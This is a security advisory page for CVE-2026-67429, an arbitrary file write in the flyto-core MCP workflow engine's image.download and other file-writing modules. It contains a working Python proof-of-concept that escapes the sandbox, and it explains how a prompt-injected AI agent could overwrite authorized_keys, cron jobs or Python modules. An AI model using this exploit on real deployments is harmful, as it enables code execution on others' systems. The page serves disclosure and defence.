CVE-2026-67429: Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)
flyto-core, a Python workflow engine that exposes modules to AI agents over MCP, lets a caller write attacker-chosen bytes to any path the process can write. image.download checks its output against an output_dir the caller also supplies. Versions before 2.26.7 are affected. Upgrade to 2.26.7.
Published Jul 30, 2026 · Analysis Oct 25, 2026
What an attacker can do
In src/core/modules/atomic/image/download.py, image.download fetches a URL and writes the response to output_path. It confines the path to output_dir with os.path.commonpath, but output_dir is itself a parameter, defaulting to /tmp. Setting output_dir to / passes any target. The central guard validate_path_with_env_config(), which keeps writes inside FLYTO_SANDBOX_DIR, is never called. The file.write module does use it and refuses the same path.
The flaw is wider than one module. image.convert, resize, crop, compress, rotate, watermark, qrcode_generate, document.excel_write, pdf_fill_form, word_to_pdf, pdf_to_word and browser.pagination also wrote to a caller path with no check. Their output must be a valid image or document, but image.download writes arbitrary bytes from an attacker-hosted URL, which passes the SSRF check.
Every non-denylisted module is reachable through the generic execute_module MCP tool, with params chosen by the model, and through the hosted API. So a prompt-injected agent or a remote API client can overwrite config files, shell profiles, cron jobs, authorized_keys or Python modules, which typically leads to code execution.
Who is affected
flyto-core before 2.26.7 (pip package flyto-core), in any deployment where an agent or client can run the file-writing modules above. Check:
pip show flyto-coreSetting FLYTO_SANDBOX_DIR alone did not protect these modules, since they skipped the guard that reads it.
flyto-core
- Ecosystem
- PyPI
- Affected
- < 2.26.7
- Fixed in
- 2.26.7
- Check
pip show flyto-core
How to fix it
Upgrade to flyto-core 2.26.7:
pip install --upgrade flyto-core==2.26.7The fix commit routes the output path of the image, document and browser pagination modules through validate_path_with_env_config(), so writes stay inside FLYTO_SANDBOX_DIR and the caller can no longer pick the base. The same commit also covers env-variable reads and env-derived API key forwarding, which have their own advisories. The sources give no other workaround. Keep FLYTO_SANDBOX_DIR set and run the process under a low-privilege account.
How to tell if you were hit
Look for image.download or other file-writing module calls in MCP or API logs where output_dir is / or another system directory, or output_path lies outside your sandbox. On disk, check for unexpected recent changes to shell profiles, cron entries, authorized_keys and Python site-packages, and files whose content matches a payload from an external host. Beam records agent MCP tool calls and file access, so execute_module calls with odd paths can be reviewed there.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
image.download fetches a URL and writes the response to disk. It does not use the central path guard (validate_path_with_env_config, which confines writes to FLYTO_SANDBOX_DIR); instead it confines the output to output_dir, but output_dir is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.
Affected code
src/core/modules/atomic/image/download.py:
output_path = params.get('output_path')
output_dir = params.get('output_dir', '/tmp') # caller-controlled base
...
base_real = os.path.realpath(output_dir)
target_real = os.path.realpath(output_path)
if os.path.commonpath([base_real, target_real]) != base_real:
raise Exception('Invalid file path') # base is attacker-chosen, so always passes
...
content = await response.read() # attacker-hosted bytes
with open(target_real, 'wb') as f:
f.write(content)commonpath is used correctly, but the base is caller-supplied, so setting output_dir='/' passes any target. file.write, by contrast, uses validate_path_with_env_config() and stays inside FLYTO_SANDBOX_DIR.
This is not isolated to image.download. Most other file-writing modules write to a caller output_path with no path check at all: image.convert, image.resize, image.crop, image.compress, image.rotate, image.watermark, image.qrcode_generate, document.excel_write, document.pdf_fill_form, document.word_to_pdf, document.pdf_to_word and browser.pagination. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; image.download is the strongest because the bytes are arbitrary.
Reproduction
Save as filewrite_poc.py, run with PYTHONPATH=src/src python filewrite_poc.py. It sets FLYTO_SANDBOX_DIR to a sandbox dir and writes to a sibling directory outside it.
#!/usr/bin/env python3
import asyncio
import os
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # let the content host pass the SSRF check
EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n"
class Content(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.send_header("Content-Type", "image/jpeg")
self.send_header("Content-Length", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)
def log_message(self, *a): pass
async def run(mid, params):
from core.modules.registry import ModuleRegistry
try:
return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={}))
except Exception as e:
return ("EXC", f"{type(e).__name__}: {e}")
async def main():
from core.modules.atomic import register_all
register_all()
threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever, daemon=True).start()
root = tempfile.mkdtemp(prefix="flyto_poc_")
sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox)
escape = os.path.join(root, "ESCAPE"); os.makedirs(escape)
os.environ["FLYTO_SANDBOX_DIR"] = sandbox
target = os.path.join(escape, "pwned") # OUTSIDE the sandbox
print("A) file.write:", await run("file.write", {"path": target, "content": "x"}))
print("B) image.download:", await run("image.download", {
"url": "http://localhost:8080/x.jpg", "output_dir": escape, "output_path": target}))
print("file written outside sandbox?", os.path.exists(target))
if os.path.exists(target):
print("content:", open(target, "rb").read())
if __name__ == "__main__":
asyncio.run(main())Output:
A) file.write: ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...')
B) image.download: ('RESULT', {'ok': True, 'path': '<root>/ESCAPE/pwned', 'size': 79, ...})
file written outside sandbox? True
content: b'#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n'file.write refuses the out-of-sandbox path; image.download writes attacker bytes there. Reproduced through the running HTTP API as well.
Reachability (why this is not operator self-service)
output_dir, output_path and url are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic execute_module(module_id, params) MCP tool (core/mcp_handler.py, params taken from the model's arguments) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. FLYTO_SANDBOX_DIR and the guard file.write uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior.
Impact
Write arbitrary content to an arbitrary path outside the operator's sandbox — overwrite config, drop a shell profile, cron job or authorized_keys, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows).
Suggested fix
Use validate_path_with_env_config() for every module that writes files, so all writes are confined to FLYTO_SANDBOX_DIR (a base the caller cannot change), never to a caller-supplied output_dir.
Credited to kaimandalic.
Questions
- Why does setting FLYTO_SANDBOX_DIR not protect against CVE-2026-67429?
Because image.download and the other affected modules never called the guard that enforces it. They only checked the path against output_dir, which the caller supplies.
- Can the attacker write any content?
With image.download, yes: the bytes are whatever the attacker's server returns. The other modules write format-constrained files, but the path is still fully attacker-chosen.
- Is it exploited in the wild?
No source says so. The advisory includes a working proof of concept and reproduces it through the running HTTP API.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
